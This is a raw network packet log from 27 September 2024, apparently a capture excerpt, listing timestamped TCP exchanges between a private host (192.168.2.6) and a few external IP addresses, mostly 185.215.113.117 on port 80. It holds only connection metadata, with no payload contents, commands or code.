Sep 27, 2024 16:18:20.258888006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258893967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258903980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258913994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258917093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258925915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.258943081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.258966923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.259319067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259330988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259341002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259351015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259361982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259367943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.259371996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259376049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.259393930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259406090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.259406090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.259430885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.259450912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.304649115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.304722071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.304934025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.304946899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.304956913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.304968119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.304979086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.304979086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.304991007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305001020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305043936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305051088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305054903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305066109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305072069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305074930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305105925 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305130959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305311918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305324078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305334091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305344105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305354118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305368900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305373907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305383921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305388927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305394888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305404902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305413961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305452108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305825949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305835962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305846930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305857897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305864096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305867910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305877924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305887938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305898905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.305902004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305934906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.305951118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.315571070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315599918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315612078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315649033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.315670967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.315727949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315738916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315748930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315767050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315772057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.315799952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.315824986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.315988064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.315999031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316009998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316025019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.316032887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316045046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.316052914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316071987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.316099882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.316196918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316207886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316217899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.316236019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.316250086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.316266060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.343714952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343784094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.343867064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343878031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343888998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343903065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.343909979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343920946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343930006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.343940020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.343972921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.343988895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344089031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344099998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344110966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344125986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344131947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344145060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344172001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344285011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344295979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344305992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344320059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344325066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344342947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344364882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344485998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344496965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344506979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344523907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344537973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344549894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344558001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344575882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344592094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344758034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344774008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344779015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344784021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344799995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344813108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344825029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344832897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344842911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344855070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344861984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344876051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344882011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.344897032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.344921112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345335007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345345974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345356941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345372915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345379114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345391035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345417023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345472097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345506907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345601082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345609903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345619917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345632076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345639944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345652103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345659018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345669985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345678091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345693111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345704079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345711946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345722914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345731020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345740080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345762968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.345767975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345786095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.345810890 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346355915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346366882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346376896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346389055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346401930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346410036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346419096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346429110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346438885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346446991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346457958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346470118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346478939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346498966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346504927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346513987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346523046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346535921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346548080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346555948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346568108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346575975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346585035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346597910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346606016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346616030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346626043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346632957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346643925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.346662045 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.346673965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.347147942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347157955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347167969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347181082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.347187996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347198963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.347207069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347218037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347225904 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.347234964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347248077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347255945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.347265959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.347284079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.347302914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.369995117 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:20.374838114 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.389223099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.389339924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.392205954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392258883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392275095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392288923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392294884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392329931 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392359972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392370939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392393112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392411947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392473936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392483950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392503977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392523050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392633915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392643929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392654896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392663956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392674923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392683029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392694950 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392703056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392714977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392735958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392920017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392930984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392940044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392951965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392961979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.392971992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392982006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.392997026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393001080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393019915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393034935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393312931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393327951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393337965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393348932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393362999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393368959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393378973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393388033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393395901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393404961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393416882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393429041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393443108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393449068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393460989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393467903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.393481016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.393497944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403160095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403191090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403202057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403225899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403244972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403335094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403347969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403393984 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403413057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403445005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403458118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403471947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403480053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403496027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403501034 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403515100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403522015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403529882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403563023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403744936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403758049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403790951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403801918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403814077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403834105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.403846979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.403866053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432173967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432284117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432348013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432362080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432377100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432385921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432398081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432409048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432419062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432440996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432450056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432462931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432475090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432487965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432502985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432518005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432538033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432553053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432575941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432584047 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432702065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432725906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432735920 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432746887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432758093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432766914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432780981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432789087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432802916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432817936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.432825089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432848930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.432956934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433000088 CEST	49615	80	192.168.2.6	185.215.113.117
